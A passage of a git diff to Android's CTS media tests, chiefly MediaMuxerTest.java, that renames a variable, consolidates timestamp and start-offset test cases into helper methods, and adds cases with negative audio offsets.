- assertEquals(audioAttributes, info.getAudioAttributes());
- assertEquals(volumeControl, info.getVolumeControl());
- assertEquals(maxVolume, info.getMaxVolume());
- assertEquals(currentVolume, info.getCurrentVolume());
- }
- */
-
private class MediaSessionCallback extends MediaSession.Callback {
private long mSeekPosition;
private long mQueueItemId;
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index 670bb16..858adb1 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -64,30 +64,30 @@
*/
public void testVideoAudio() throws Exception {
int source = R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz;
- String outputFile = File.createTempFile("MediaMuxerTest_testAudioVideo", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideo", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
public void testDualVideoTrack() throws Exception {
int source = R.raw.video_176x144_h264_408kbps_30fps_352x288_h264_122kbps_30fps;
- String outputFile = File.createTempFile("MediaMuxerTest_testDualVideo", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testDualVideo", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
public void testDualAudioTrack() throws Exception {
int source = R.raw.audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz;
- String outputFile = File.createTempFile("MediaMuxerTest_testDualAudio", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testDualAudio", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
public void testDualVideoAndAudioTrack() throws Exception {
int source = R.raw.video_h264_30fps_video_h264_30fps_aac_44100hz_aac_44100hz;
- String outputFile = File.createTempFile("MediaMuxerTest_testDualVideoAudio", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testDualVideoAudio", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 4, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 4, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
/**
@@ -101,9 +101,9 @@
public void testVideoAudioMedatadataWithNonCompliantMetadataTrack() throws Exception {
int source =
R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_non_compliant;
- String outputFile = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
/**
@@ -117,9 +117,9 @@
public void testVideoAudioMedatadataWithCompliantMetadataTrack() throws Exception {
int source =
R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_compliant;
- String outputFile = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
/**
@@ -127,9 +127,9 @@
*/
public void testAudioOnly() throws Exception {
int source = R.raw.sinesweepm4a;
- String outputFile = File.createTempFile("MediaMuxerTest_testAudioOnly", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioOnly", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 1, -1, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 1, -1, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
/**
@@ -137,23 +137,23 @@
*/
public void testVideoOnly() throws Exception {
int source = R.raw.video_only_176x144_3gp_h263_25fps;
- String outputFile = File.createTempFile("MediaMuxerTest_videoOnly", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_videoOnly", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 1, 180, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 1, 180, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
public void testWebmOutput() throws Exception {
int source = R.raw.video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz;
- String outputFile = File.createTempFile("testWebmOutput", ".webm")
+ String outputFilePath = File.createTempFile("testWebmOutput", ".webm")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
}
public void testThreegppOutput() throws Exception {
int source = R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz;
- String outputFile = File.createTempFile("testThreegppOutput", ".3gp")
+ String outputFilePath = File.createTempFile("testThreegppOutput", ".3gp")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
}
/**
@@ -166,12 +166,12 @@
* <br> Throws exception b/c a wrong format.
*/
public void testIllegalStateExceptions() throws IOException {
- String outputFile = File.createTempFile("MediaMuxerTest_testISEs", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testISEs", ".mp4")
.getAbsolutePath();
MediaMuxer muxer;
// Throws exception b/c start() is not called.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
try {
@@ -184,7 +184,7 @@
}
// Should not throw exception when 2 video tracks were added.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
try {
@@ -196,7 +196,7 @@
}
// Should not throw exception when 2 audio tracks were added.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
try {
muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
@@ -207,7 +207,7 @@
}
// Should not throw exception when 3 tracks were added.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
try {
@@ -219,7 +219,7 @@
}
// Throws exception b/c no tracks was added.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
try {
muxer.start();
fail("should throw IllegalStateException.");
@@ -230,7 +230,7 @@
}
// Throws exception b/c a wrong format.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
try {
muxer.addTrack(MediaFormat.createVideoFormat("vidoe/mp4", 480, 320));
fail("should throw IllegalStateException.");
@@ -243,7 +243,7 @@
// Test FileDescriptor Constructor expect sucess.
RandomAccessFile file = null;
try {
- file = new RandomAccessFile(outputFile, "rws");
+ file = new RandomAccessFile(outputFilePath, "rws");
muxer = new MediaMuxer(file.getFD(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
} finally {
@@ -254,7 +254,7 @@
// Test FileDescriptor Constructor expect exception with read only mode.
RandomAccessFile file2 = null;
try {
- file2 = new RandomAccessFile(outputFile, "r");
+ file2 = new RandomAccessFile(outputFilePath, "r");
muxer = new MediaMuxer(file2.getFD(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
fail("should throw IOException.");
} catch (IOException e) {
@@ -267,7 +267,7 @@
// Test FileDescriptor Constructor expect NO exception with write only mode.
ParcelFileDescriptor out = null;
try {
- out = ParcelFileDescriptor.open(new File(outputFile),
+ out = ParcelFileDescriptor.open(new File(outputFilePath),
ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
muxer = new MediaMuxer(out.getFileDescriptor(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
} catch (IllegalArgumentException e) {
@@ -279,7 +279,7 @@
muxer.release();
}
- new File(outputFile).delete();
+ new File(outputFilePath).delete();
}
/**
@@ -288,17 +288,17 @@
*/
public void testSimulateAudioBVideoFramesDropIssues() throws Exception {
int sourceId = R.raw.video_h264_main_b_frames;
- String outputFile = File.createTempFile(
+ String outputFilePath = File.createTempFile(
"MediaMuxerTest_testSimulateAudioBVideoFramesDropIssues", ".mp4").getAbsolutePath();
try {
- simulateVideoFramesDropIssuesAndMux(sourceId, outputFile, 2 /* track index */,
+ simulateVideoFramesDropIssuesAndMux(sourceId, outputFilePath, 2 /* track index */,
MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
- verifyAFewSamplesTimestamp(sourceId, outputFile);
- verifySamplesMatch(sourceId, outputFile, 66667 /* sample around 0 sec */, 0);
+ verifyAFewSamplesTimestamp(sourceId, outputFilePath);
+ verifySamplesMatch(sourceId, outputFilePath, 66667 /* sample around 0 sec */, 0);
verifySamplesMatch(
- sourceId, outputFile, 8033333 /* sample around 8 sec */, OFFSET_TIME_US);
+ sourceId, outputFilePath, 8033333 /* sample around 8 sec */, OFFSET_TIME_US);
} finally {
- new File(outputFile).delete();
+ new File(outputFilePath).delete();
}
}
@@ -418,22 +418,51 @@
* when video frames start later than audio.
*/
public void testTimestampsAudioBVideoStartOffsetVideo() throws Exception {
- int sourceId = R.raw.video_h264_main_b_frames;
- String outputFilePath = File.createTempFile(
- "MediaMuxerTest_testTimestampsAudioBVideoStartOffsetVideo", ".mp4").getAbsolutePath();
- try {
- Vector<Integer> startOffsetUsVect = new Vector<Integer>();
- // Video starts at 400000us.
- startOffsetUsVect.add(400000);
- // Audio starts at 0us.
- startOffsetUsVect.add(0);
- cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
- MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
- verifyTSWithSamplesDropAndStartOffset(
- sourceId, true /* has B frames */, outputFilePath, null, startOffsetUsVect);
- } finally {
- new File(outputFilePath).delete();
- }
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 400000us.
+ startOffsetUsVect.add(400000);
+ // Audio starts at 0us.
+ startOffsetUsVect.add(0);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+ * when video and audio samples start after zero, video later than audio.
+ */
+ public void testTimestampsAudioBVideoStartOffsetVideoAudio() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 400000us.
+ startOffsetUsVect.add(400000);
+ // Audio starts at 200000us.
+ startOffsetUsVect.add(200000);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+ * when video and audio samples start after zero, audio later than video.
+ */
+ public void testTimestampsAudioBVideoStartOffsetAudioVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 200000us.
+ startOffsetUsVect.add(200000);
+ // Audio starts at 400000us.
+ startOffsetUsVect.add(400000);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+ * when video starts after zero and audio starts before zero.
+ */
+ public void testTimestampsAudioBVideoStartOffsetNegativeAudioVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 200000us.
+ startOffsetUsVect.add(200000);
+ // Audio starts at -23220us, multiple of duration of one frame (1024/44100hz)
+ startOffsetUsVect.add(-23220);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
}
/**
@@ -441,87 +470,133 @@
* samples start later than video.
*/
public void testTimestampsAudioBVideoStartOffsetAudio() throws Exception {
- int sourceId = R.raw.video_h264_main_b_frames;
- String outputFilePath = File.createTempFile(
- "MediaMuxerTest_testTimestampsAudioBVideoStartOffsetAudio", ".mp4").getAbsolutePath();
- try {
- Vector<Integer> startOffsetUsVect = new Vector<Integer>();
- // Video starts at 0us.
- startOffsetUsVect.add(0);
- // Audio starts at 400000us.
- startOffsetUsVect.add(400000);
- cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
- MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
- verifyTSWithSamplesDropAndStartOffset(
- sourceId, true /* has B frames */, outputFilePath, null, startOffsetUsVect);
- } finally {
- new File(outputFilePath).delete();
- }
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 0us.
+ startOffsetUsVect.add(0);
+ // Audio starts at 400000us.
+ startOffsetUsVect.add(400000);
+ checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
}
/**
- * Test: make sure if audio/video muxing using MPEG4Writer works when audio
- * samples start later than video.
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, audio later than video at 0us.
*/
public void testTimestampsStartOffsetAudio() throws Exception {
- int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
- String outputFilePath =
- File.createTempFile("MediaMuxerTest_testTimestampsStartOffsetAudio", ".mp4")
- .getAbsolutePath();
- try {
- Vector<Integer> startOffsetUsVect = new Vector<Integer>();
- // Video starts at 0us.
- startOffsetUsVect.add(0);
- // Audio starts at 50000us.
- startOffsetUsVect.add(50000);
- cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
- MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
- verifyTSWithSamplesDropAndStartOffset(
- sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
- } finally {
- new File(outputFilePath).delete();
- }
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 0us.
+ startOffsetUsVect.add(0);
+ // Audio starts at 500000us.
+ startOffsetUsVect.add(500000);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
}
/**
- * Test: makes sure if audio/video muxing using MPEG4Writer works when video
- * samples start later than audio.
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, video later than audio at 0us.
*/
public void testTimestampsStartOffsetVideo() throws Exception {
- int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
- String outputFilePath =
- File.createTempFile("MediaMuxerTest_testTimestampsStartOffsetVideo", ".mp4")
- .getAbsolutePath();
- try {
- Vector<Integer> startOffsetUsVect = new Vector<Integer>();
- // Video starts at 500000us.
- startOffsetUsVect.add(500000);
- // Audio starts at 0us.
- startOffsetUsVect.add(0);
- cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
- MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
- verifyTSWithSamplesDropAndStartOffset(
- sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
- } finally {
- new File(outputFilePath).delete();
- }
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 500000us.
+ startOffsetUsVect.add(500000);
+ // Audio starts at 0us.
+ startOffsetUsVect.add(0);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
}
/**
- * Test: makes sure if audio/video muxing using MPEG4Writer works when audio and video
- * tracks start at non-zero start offset and audio samples start later than video.
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, audio later than video, positive offsets for both.
*/
public void testTimestampsStartOffsetVideoAudio() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 250000us.
+ startOffsetUsVect.add(250000);
+ // Audio starts at 500000us.
+ startOffsetUsVect.add(500000);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, video later than audio, positive offets for both.
+ */
+ public void testTimestampsStartOffsetAudioVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 500000us.
+ startOffsetUsVect.add(500000);
+ // Audio starts at 250000us.
+ startOffsetUsVect.add(250000);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: make sure if audio/video muxing works good with different start offsets for
+ * audio and video, video later than audio, audio before zero.
+ */
+ public void testTimestampsStartOffsetNegativeAudioVideo() throws Exception {
+ Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+ // Video starts at 50000us.
+ startOffsetUsVect.add(50000);
+ // Audio starts at -23220us, multiple of duration of one frame (1024/44100hz)
+ startOffsetUsVect.add(-23220);
+ checkTimestampsWithStartOffsets(startOffsetUsVect);
+ }
+
+ /**
+ * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
+ * when video and audio samples start after different times.
+ */
+ private void checkTimestampsAudioBVideoDiffStartOffsets(Vector<Integer> startOffsetUs)
+ throws Exception {
+ MPEG4CheckTimestampsAudioBVideoDiffStartOffsets(startOffsetUs);
+ // TODO: uncomment webm testing once bugs related to timestamps in webmwriter are fixed.
+ // WebMCheckTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
+ }
+
+ private void MPEG4CheckTimestampsAudioBVideoDiffStartOffsets(Vector<Integer> startOffsetUs)
+ throws Exception {
+ if (VERBOSE) {
+ Log.v(TAG, "MPEG4CheckTimestampsAudioBVideoDiffStartOffsets");
+ }
+ int sourceId = R.raw.video_h264_main_b_frames;
+ String outputFilePath = File.createTempFile(
+ "MediaMuxerTest_testTimestampsAudioBVideoDiffStartOffsets", ".mp4").getAbsolutePath();
+ try {
+ cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
+ MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUs);
+ verifyTSWithSamplesDropAndStartOffset(
+ sourceId, true /* has B frames */, outputFilePath, null, startOffsetUs);
+ } finally {
+ new File(outputFilePath).delete();
+ }
+ }
+
+ /*
+ * Check if timestamps are written consistently across all formats supported by MediaMuxer.
+ */
+ private void checkTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+ throws Exception {
+ MPEG4CheckTimestampsWithStartOffsets(startOffsetUsVect);
+ // TODO: uncomment webm testing once bugs related to timestamps in webmwriter are fixed.
+ // WebMCheckTimestampsWithStartOffsets(startOffsetUsVect);
+ // TODO: need to add other formats, OGG, AAC, AMR
+ }
+
+ /**
+ * Make sure if audio/video muxing using MPEG4Writer works good with different start
+ * offsets for audio and video.
+ */
+ private void MPEG4CheckTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+ throws Exception {
+ if (VERBOSE) {
+ Log.v(TAG, "MPEG4CheckTimestampsWithStartOffsets");
+ }
int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
String outputFilePath =
- File.createTempFile("MediaMuxerTest_testTimestampsStartOffsetAudio", ".mp4")
- .getAbsolutePath();
+ File.createTempFile("MediaMuxerTest_MPEG4CheckTimestampsWithStartOffsets", ".mp4")
+ .getAbsolutePath();
try {
- Vector<Integer> startOffsetUsVect = new Vector<Integer>();
- // Video starts at 250000us.
- startOffsetUsVect.add(250000);
- // Audio starts at 500000us.
- startOffsetUsVect.add(500000);
cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
verifyTSWithSamplesDropAndStartOffset(
@@ -532,22 +607,21 @@
}
/**
- * Test: makes sure if audio/video muxing using MPEG4Writer works when audio and video
- * tracks start at non-zero start offset and video samples start later than audio.
+ * Make sure if audio/video muxing using WebMWriter works good with different start
+ * offsets for audio and video.
*/
- public void testTimestampsStartOffsetAudioVideo() throws Exception {
- int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
+ private void WebMCheckTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
+ throws Exception {
+ if (VERBOSE) {
+ Log.v(TAG, "WebMCheckTimestampsWithStartOffsets");
+ }
+ int sourceId = R.raw.video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz;
String outputFilePath =
- File.createTempFile("MediaMuxerTest_testTimestampsStartOffsetVideo", ".mp4")
- .getAbsolutePath();
+ File.createTempFile("MediaMuxerTest_WebMCheckTimestampsWithStartOffsets", ".webm")
+ .getAbsolutePath();
try {
- Vector<Integer> startOffsetUsVect = new Vector<Integer>();
- // Video starts at 500000us.
- startOffsetUsVect.add(500000);
- // Audio starts at 250000us.
- startOffsetUsVect.add(250000);
cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
- MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
+ MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM, null, startOffsetUsVect);
verifyTSWithSamplesDropAndStartOffset(
sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
} finally {
@@ -713,6 +787,7 @@
assertEquals("Different width", widthSrc,
widthTest);
+ //TODO: need to check each individual track's duration also.
String durationSrc = retrieverSrc.extractMetadata(
MediaMetadataRetriever.METADATA_KEY_DURATION);
String durationTest = retrieverTest.extractMetadata(
@@ -927,7 +1002,8 @@
return;
}
- /* Uses two MediaExtractor's and checks whether timestamps of first few and another few
+ /**
+ * Uses two MediaExtractor's and checks whether timestamps of first few and another few
* from last sync frame matches
*/
private void verifyAFewSamplesTimestamp(int srcMediaId, String testMediaPath)
@@ -975,7 +1051,7 @@
while (numFrames-- > 0 ) {
srcSampleTimeUs = extractorSrc.getSampleTime();
testSampleTimeUs = extractorTest.getSampleTime();
- if(srcSampleTimeUs == -1 || testSampleTimeUs == -1){
+ if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
fail("either of tracks reached end of stream");
}
if ((srcSampleTimeUs + offsetTimeUs) != testSampleTimeUs) {
@@ -1127,8 +1203,11 @@
int minStartOffsetUs = Integer.MAX_VALUE;
int trackCount = extractorSrc.getTrackCount();
- // MPEG4Writer makes the start timestamp of an earliest track as zero and adjusts all
- // other tracks' timestamp accordingly.
+ /*
+ * When all track's start offsets are positive, MPEG4Writer makes the start timestamp of the
+ * earliest track as zero and adjusts all other tracks' timestamp accordingly.
+ */
+ // TODO: need to confirm if the above logic holds good with all others writers we support.
if (startOffsetUsVect != null) {
for (int startOffsetUs : startOffsetUsVect) {
minStartOffsetUs = Math.min(startOffsetUs, minStartOffsetUs);
@@ -1137,6 +1216,15 @@
minStartOffsetUs = 0;
}
+ if (minStartOffsetUs < 0) {
+ /*
+ * Atleast one of the start offsets were negative. We have some test cases with negative
+ * offsets for audio, minStartOffset has to be reset as Writer won't adjust any of the
+ * track's timestamps.
+ */
+ minStartOffsetUs = 0;
+ }
+
// Select video track.
for (int i = 0; i < trackCount; i++) {
MediaFormat format = extractorSrc.getTrackFormat(i);
@@ -1148,7 +1236,7 @@
extractorSrc.selectTrack(videoTrackIndex);
extractorTest.selectTrack(videoTrackIndex);
checkVideoSamplesTimeStamps(extractorSrc, hasBframes, extractorTest, samplesDropSet,
- videoStartOffsetUs - minStartOffsetUs);
+ videoStartOffsetUs - minStartOffsetUs);
extractorSrc.unselectTrack(videoTrackIndex);
extractorTest.unselectTrack(videoTrackIndex);
}
@@ -1190,9 +1278,9 @@
extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
if (VERBOSE) {
- Log.v(TAG, "videoSampleCount:" + videoSampleCount);
Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
" testTrackIndex:" + extractorTest.getSampleTrackIndex());
+ Log.v(TAG, "videoStartOffsetUs:" + videoStartOffsetUs);
}
do {
@@ -1200,50 +1288,33 @@
srcSampleTimeUs = extractorSrc.getSampleTime();
testSampleTimeUs = extractorTest.getSampleTime();
if (VERBOSE) {
+ Log.v(TAG, "videoSampleCount:" + videoSampleCount);
Log.i(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
}
if (samplesDropSet == null || !samplesDropSet.contains(videoSampleCount)) {
if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
- if (VERBOSE) {
- Log.v(TAG, "srcUs:" + srcSampleTimeUs + "testUs:" + testSampleTimeUs);
- }
- fail("either source or test track reached end of stream");
+ if (VERBOSE) {
+ Log.v(TAG, "srcUs:" + srcSampleTimeUs + "testUs:" + testSampleTimeUs);
+ }
+ fail("either source or test track reached end of stream");
}
- // Stts values within 0.1ms(100us) difference are fudged to save too many
- // stts entries in MPEG4Writer.
- // If Bframes are not present, then we manage start offset of video track in the
- // duration of the first video sample. Second sample onwards has original timestamp.
- else if (!hasBFrames
- && ((videoSampleCount > 1
- && Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs) > 100)
- || (videoSampleCount == 1
- && Math.abs(srcSampleTimeUs - testSampleTimeUs) > 100))) {
+ /* Stts values within 0.1ms(100us) difference are fudged to save too many
+ * stts entries in MPEG4Writer.
+ */
+ else if (Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs) > 100) {
if (VERBOSE) {
Log.v(TAG, "Fail:video timestamps didn't match");
- Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
- " testTrackIndex:" + extractorTest.getSampleTrackIndex());
+ Log.v(TAG,
+ "srcTrackIndex:" + extractorSrc.getSampleTrackIndex()
+ + " testTrackIndex:" + extractorTest.getSampleTrackIndex());
Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
- }
+ }
fail("video timestamps didn't match");
}
- // If Bframes are present, then we manage start offsert of a video track in the
- // corresponding edit list entry.
- else if (hasBFrames
- && Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs)
- > 100) {
- if (VERBOSE) {
- Log.v(TAG, "Fail:video timestamps with B frames didn't match");
- Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
- " testTrackIndex:" + extractorTest.getSampleTrackIndex());
- Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
- }
- fail("video timestamps with B frames didn't match");
- }
-
testAdvance = extractorTest.advance();
}
srcAdvance = extractorSrc.advance();
- } while(srcAdvance && testAdvance);
+ } while (srcAdvance && testAdvance);
if (srcAdvance != testAdvance) {
if (VERBOSE) {
Log.v(TAG, "videoSampleCount:" + videoSampleCount);
@@ -1261,9 +1332,15 @@
int audioSampleCount = 0;
extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
- extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ if (audioStartOffsetUs >= 0) {
+ // Added edit list support for maintaining only the diff in start offsets of tracks.
+ // TODO: Remove this once we add support for preserving absolute timestamps as well.
+ extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ } else {
+ extractorTest.seekTo(audioStartOffsetUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ }
if (VERBOSE) {
